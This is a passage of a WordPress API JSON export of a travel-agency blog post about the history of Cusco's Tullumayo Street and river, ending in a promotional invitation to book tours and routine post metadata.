class=\"wp-element-caption\"><strong>The Ancient Tullumayo Street.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>In the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-the-origin-of-the-inca-empire\/\"><strong>Inca Empire<\/strong><\/a> times, people built stone walls to guide the river&#8217;s flow, and many of those walls are still standing today.&nbsp;<\/p>\n\n\n\n<p>The river was a natural border between the San Blas and San Crist\u00f3bal neighborhoods, linked by about fourteen bridges. <\/p>\n\n\n\n<p>In the early 20th century, urban modernization efforts buried and rerouted the river as it flowed to the Pumacchupan area.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"389\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/tullu.jpg?resize=697%2C389&#038;ssl=1\" alt=\"\" class=\"wp-image-11649\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/tullu.jpg?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/tullu.jpg?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/tullu.jpg?resize=768%2C429&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Today&#8217;s Tullumayo Street<\/strong><\/figcaption><\/figure>\n\n\n\n<p>There, it joins the Saphy River, now underground under<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/explore-avenida-el-sol-cuscos-vibrant-main-street\/\" title=\"\"> Avenida El Sol<\/a><\/strong>.\u00a0 The name &#8220;Tullumayo&#8221; reflects the river&#8217;s important role in this historic area. Later, the Mercedarian catholic order owned the land around Tullumayo Street.<\/p>\n\n\n\n<p>&nbsp;This shows how cultural and spiritual influences have shaped the region over time. Today, the story of the Tullumayo River is still closely linked to the history and growth of Cusco, reminding us of Cusco\u2019s rich heritage.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p>As you see, Cusco\u2019s streets are filled with stories, legends, mysteries, and fascination. On your next trip to Cusco, the former capital of the Empire, we invite you to explore these streets and wander through their cobblestone paths.<\/p>\n\n\n\n<p>To learn more about destinations in Peru, you can trust Viagens Machu Picchu. Our more than 100,000 clients confirm that we do our best to meet their expectations. <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>Contact us <\/strong><\/a>to take the first step into the adventure of a lifetime. Peru and Cusco are waiting for you!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cusco\u2019s streets are rich with history and legends, from Inca times to the colonial era. Discover stories behind Fierro, Saphy, Plateros, and more. Explore the vibrant culture, spiritual symbolism, and intriguing origins that make Cusco a unique travel destination.<\/p>\n","protected":false},"author":1,"featured_media":11656,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,206,194,1],"tags":[4103,4102,4101,1959,2984,208,4107,3282,1509,4105,2528,246,1072,4104,4106,2956,2939,1581],"class_list":["post-11636","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-cusco","category-destinations","category-sem-categoria","tag-attractions","tag-aymara","tag-colonial","tag-cultural-heritage","tag-culture","tag-cusco","tag-historical","tag-history","tag-inca-empire","tag-landmarks","tag-nightlife","tag-peru","tag-quechua","tag-streets","tag-tawantinsuyo","tag-tourism","tag-tourists","tag-travel"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/33254431834_67c7c71642_k.jpg?fit=2047%2C1365&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-31G","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11636","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=11636"}],"version-history":[{"count":10,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11636\/revisions"}],"predecessor-version":[{"id":17518,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11636\/revisions\/17518"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/11656"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=11636"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=11636"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=11636"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}